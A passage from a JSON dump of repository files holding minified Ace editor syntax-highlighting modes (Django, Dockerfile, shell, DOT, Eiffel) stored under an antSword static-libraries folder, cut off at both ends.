this.$rules)this.$rules[e].unshift({token:\"comment.line\",regex:\"\\\\{#.*?#\\\\}\"},{token:\"comment.block\",regex:\"\\\\{\\\\%\\\\s*comment\\\\s*\\\\%\\\\}\",merge:!0,next:\"django-comment\"},{token:\"constant.language\",regex:\"\\\\{\\\\{\",next:\"django-start\"},{token:\"constant.language\",regex:\"\\\\{\\\\%\",next:\"django-tag\"}),this.embedRules(u,\"django-\",[{token:\"comment.block\",regex:\"\\\\{\\\\%\\\\s*endcomment\\\\s*\\\\%\\\\}\",merge:!0,next:\"start\"},{token:\"constant.language\",regex:\"\\\\%\\\\}\",next:\"start\"},{token:\"constant.language\",regex:\"\\\\}\\\\}\",next:\"start\"}])};r.inherits(a,s);var f=function(){i.call(this),this.HighlightRules=a};r.inherits(f,i),function(){this.$id=\"ace/mode/django\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-dockerfile.js",
    "content": "ace.define(\"ace/mode/sh_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.reservedKeywords=\"!|{|}|case|do|done|elif|else|esac|fi|for|if|in|then|until|while|&|;|export|local|read|typeset|unset|elif|select|set\",o=t.languageConstructs=\"[|]|alias|bg|bind|break|builtin|cd|command|compgen|complete|continue|dirs|disown|echo|enable|eval|exec|exit|fc|fg|getopts|hash|help|history|jobs|kill|let|logout|popd|printf|pushd|pwd|return|set|shift|shopt|source|suspend|test|times|trap|type|ulimit|umask|unalias|wait\",u=function(){var e=this.createKeywordMapper({keyword:s,\"support.function.builtin\":o,\"invalid.deprecated\":\"debugger\"},\"identifier\"),t=\"(?:(?:[1-9]\\\\d*)|(?:0))\",n=\"(?:\\\\.\\\\d+)\",r=\"(?:\\\\d+)\",i=\"(?:(?:\"+r+\"?\"+n+\")|(?:\"+r+\"\\\\.))\",u=\"(?:(?:\"+i+\"|\"+r+\")\"+\")\",a=\"(?:\"+u+\"|\"+i+\")\",f=\"(?:&\"+r+\")\",l=\"[a-zA-Z_][a-zA-Z0-9_]*\",c=\"(?:(?:\\\\$\"+l+\")|(?:\"+l+\"=))\",h=\"(?:\\\\$(?:SHLVL|\\\\$|\\\\!|\\\\?))\",p=\"(?:\"+l+\"\\\\s*\\\\(\\\\))\";this.$rules={start:[{token:\"constant\",regex:/\\\\./},{token:[\"text\",\"comment\"],regex:/(^|\\s)(#.*)$/},{token:\"string\",regex:'\"',push:[{token:\"constant.language.escape\",regex:/\\\\(?:[$abeEfnrtv\\\\'\"]|x[a-fA-F\\d]{1,2}|u[a-fA-F\\d]{4}([a-fA-F\\d]{4})?|c.|\\d{1,3})/},{token:\"constant\",regex:/\\$\\w+/},{token:\"string\",regex:'\"',next:\"pop\"},{defaultToken:\"string\"}]},{regex:\"<<<\",token:\"keyword.operator\"},{stateName:\"heredoc\",regex:\"(<<-?)(\\\\s*)(['\\\"`]?)([\\\\w\\\\-]+)(['\\\"`]?)\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[4]),[{type:\"constant\",value:i[1]},{type:\"text\",value:i[2]},{type:\"string\",value:i[3]},{type:\"support.class\",value:i[4]},{type:\"string\",value:i[5]}]},rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^\t+\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:\"variable.language\",regex:h},{token:\"variable\",regex:c},{token:\"support.function\",regex:p},{token:\"support.function\",regex:f},{token:\"string\",start:\"'\",end:\"'\"},{token:\"constant.numeric\",regex:a},{token:\"constant.numeric\",regex:t+\"\\\\b\"},{token:e,regex:\"[a-zA-Z_][a-zA-Z0-9_]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\*\\\\*|\\\\/|\\\\/\\\\/|~|<|>|<=|=>|=|!=\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]\\\\)\\\\}]\"}]},this.normalizeRules()};r.inherits(u,i),t.ShHighlightRules=u}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/sh\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/sh_highlight_rules\",\"ace/range\",\"ace/mode/folding/cstyle\",\"ace/mode/behaviour/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./sh_highlight_rules\").ShHighlightRules,o=e(\"../range\").Range,u=e(\"./folding/cstyle\").FoldMode,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=function(){this.HighlightRules=s,this.foldingRules=new u,this.$behaviour=new a};r.inherits(f,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);o&&(r+=n)}return r};var e={pass:1,\"return\":1,raise:1,\"break\":1,\"continue\":1};this.checkOutdent=function(t,n,r){if(r!==\"\\r\\n\"&&r!==\"\\r\"&&r!==\"\\n\")return!1;var i=this.getTokenizer().getLineTokens(n.trim(),t).tokens;if(!i)return!1;do var s=i.pop();while(s&&(s.type==\"comment\"||s.type==\"text\"&&s.value.match(/^\\s+$/)));return s?s.type==\"keyword\"&&e[s.value]:!1},this.autoOutdent=function(e,t,n){n+=1;var r=this.$getIndent(t.getLine(n)),i=t.getTabString();r.slice(-i.length)==i&&t.remove(new o(n,r.length-i.length,n,r.length))},this.$id=\"ace/mode/sh\"}.call(f.prototype),t.Mode=f}),ace.define(\"ace/mode/dockerfile_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/sh_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./sh_highlight_rules\").ShHighlightRules,s=function(){i.call(this);var e=this.$rules.start;for(var t=0;t<e.length;t++)if(e[t].token==\"variable.language\"){e.splice(t,0,{token:\"constant.language\",regex:\"(?:^(?:FROM|MAINTAINER|RUN|CMD|EXPOSE|ENV|ADD|ENTRYPOINT|VOLUME|USER|WORKDIR|ONBUILD|COPY|LABEL)\\\\b)\",caseInsensitive:!0});break}};r.inherits(s,i),t.DockerfileHighlightRules=s}),ace.define(\"ace/mode/dockerfile\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/sh\",\"ace/mode/dockerfile_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./sh\").Mode,s=e(\"./dockerfile_highlight_rules\").DockerfileHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){i.call(this),this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.$id=\"ace/mode/dockerfile\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-dot.js",
    "content": "ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/dot_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/doc_comment_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,u=function(){var e=i.arrayToMap(\"strict|node|edge|graph|digraph|subgraph\".split(\"|\")),t=i.arrayToMap(\"damping|k|url|area|arrowhead|arrowsize|arrowtail|aspect|bb|bgcolor|center|charset|clusterrank|color|colorscheme|comment|compound|concentrate|constraint|decorate|defaultdist|dim|dimen|dir|diredgeconstraints|distortion|dpi|edgeurl|edgehref|edgetarget|edgetooltip|epsilon|esep|fillcolor|fixedsize|fontcolor|fontname|fontnames|fontpath|fontsize|forcelabels|gradientangle|group|headurl|head_lp|headclip|headhref|headlabel|headport|headtarget|headtooltip|height|href|id|image|imagepath|imagescale|label|labelurl|label_scheme|labelangle|labeldistance|labelfloat|labelfontcolor|labelfontname|labelfontsize|labelhref|labeljust|labelloc|labeltarget|labeltooltip|landscape|layer|layerlistsep|layers|layerselect|layersep|layout|len|levels|levelsgap|lhead|lheight|lp|ltail|lwidth|margin|maxiter|mclimit|mindist|minlen|mode|model|mosek|nodesep|nojustify|normalize|nslimit|nslimit1|ordering|orientation|outputorder|overlap|overlap_scaling|pack|packmode|pad|page|pagedir|pencolor|penwidth|peripheries|pin|pos|quadtree|quantum|rank|rankdir|ranksep|ratio|rects|regular|remincross|repulsiveforce|resolution|root|rotate|rotation|samehead|sametail|samplepoints|scale|searchsize|sep|shape|shapefile|showboxes|sides|size|skew|smoothing|sortv|splines|start|style|stylesheet|tailurl|tail_lp|tailclip|tailhref|taillabel|tailport|tailtarget|tailtooltip|target|tooltip|truecolor|vertices|viewport|voro_margin|weight|width|xlabel|xlp|z\".split(\"|\"));this.$rules={start:[{token:\"comment\",regex:/\\/\\/.*$/},{token:\"comment\",regex:/#.*$/},{token:\"comment\",merge:!0,regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/[+\\-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?)?\\b/},{token:\"keyword.operator\",regex:/\\+|=|\\->/},{token:\"punctuation.operator\",regex:/,|;/},{token:\"paren.lparen\",regex:/[\\[{]/},{token:\"paren.rparen\",regex:/[\\]}]/},{token:\"comment\",regex:/^#!.*$/},{token:function(n){return e.hasOwnProperty(n.toLowerCase())?\"keyword\":t.hasOwnProperty(n.toLowerCase())?\"variable\":\"text\"},regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",merge:!0,next:\"start\"},{token:\"comment\",merge:!0,regex:\".+\"}],qqstring:[{token:\"string\",regex:'[^\"\\\\\\\\]+',merge:!0},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\",merge:!0},{token:\"string\",regex:'\"|$',next:\"start\",merge:!0}],qstring:[{token:\"string\",regex:\"[^'\\\\\\\\]+\",merge:!0},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\",merge:!0},{token:\"string\",regex:\"'|$\",next:\"start\",merge:!0}]}};r.inherits(u,s),t.DotHighlightRules=u}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/dot\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/matching_brace_outdent\",\"ace/mode/dot_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./matching_brace_outdent\").MatchingBraceOutdent,o=e(\"./dot_highlight_rules\").DotHighlightRules,u=e(\"./folding/cstyle\").FoldMode,a=function(){this.HighlightRules=o,this.$outdent=new s,this.foldingRules=new u};r.inherits(a,i),function(){this.lineCommentStart=[\"//\",\"#\"],this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/dot\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-eiffel.js",
    "content": "ace.define(\"ace/mode/eiffel_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"across|agent|alias|all|attached|as|assign|attribute|check|class|convert|create|debug|deferred|detachable|do|else|elseif|end|ensure|expanded|export|external|feature|from|frozen|if|inherit|inspect|invariant|like|local|loop|not|note|obsolete|old|once|Precursor|redefine|rename|require|rescue|retry|select|separate|some|then|undefine|until|variant|when\",t=\"and|implies|or|xor\",n=\"Void\",r=\"True|False\",i=\"Current|Result\",s=this.createKeywordMapper({\"constant.language\":n,\"constant.language.boolean\":r,\"variable.language\":i,\"keyword.operator\":t,keyword:e},\"identifier\",!0),o=/(?:[^\"%\\b\\f\\v]|%[A-DFHLNQR-V%'\"()<>]|%\\/(?:0[xX][\\da-fA-F](?:_*[\\da-fA-F])*|0[cC][0-7](?:_*[0-7])*|0[bB][01](?:_*[01])*|\\d(?:_*\\d)*)\\/)+?/;this.$rules={start:[{token:\"string.quoted.other\",regex:/\"\\[/,next:\"aligned_verbatim_string\"},{token:\"string.quoted.other\",regex:/\"\\{/,next:\"non-aligned_verbatim_string\"},{token:\"string.quoted.double\",regex:/\"(?:[^%\\b\\f\\n\\r\\v]|%[A-DFHLNQR-V%'\"()<>]|%\\/(?:0[xX][\\da-fA-F](?:_*[\\da-fA-F])*|0[cC][0-7](?:_*[0-7])*|0[bB][01](?:_*[01])*|\\d(?:_*\\d)*)\\/)*?\"/},{token:\"comment.line.double-dash\",regex:/--.*/},{token:\"constant.character\",regex:/'(?:[^%\\b\\f\\n\\r\\t\\v]|%[A-DFHLNQR-V%'\"()<>]|%\\/(?:0[xX][\\da-fA-F](?:_*[\\da-fA-F])*|0[cC][0-7](?:_*[0-7])*|0[bB][01](?:_*[01])*|\\d(?:_*\\d)*)\\/)'/},{token:\"constant.numeric\",regex:/\\b0(?:[xX][\\da-fA-F](?:_*[\\da-fA-F])*|[cC][0-7](?:_*[0-7])*|[bB][01](?:_*[01])*)\\b/},{token:\"constant.numeric\",regex:/(?:\\d(?:_*\\d)*)?\\.(?:(?:\\d(?:_*\\d)*)?[eE][+-]?)?\\d(?:_*\\d)*|\\d(?:_*\\d)*\\.?/},{token:\"paren.lparen\",regex:/[\\[({]|<<|\\|\\(/},{token:\"paren.rparen\",regex:/[\\])}]|>>|\\|\\)/},{token:\"keyword.operator\",regex:/:=|->|\\.(?=\\w)|[;,:?]/},{token:\"keyword.operator\",regex:/\\\\\\\\|\\|\\.\\.\\||\\.\\.|\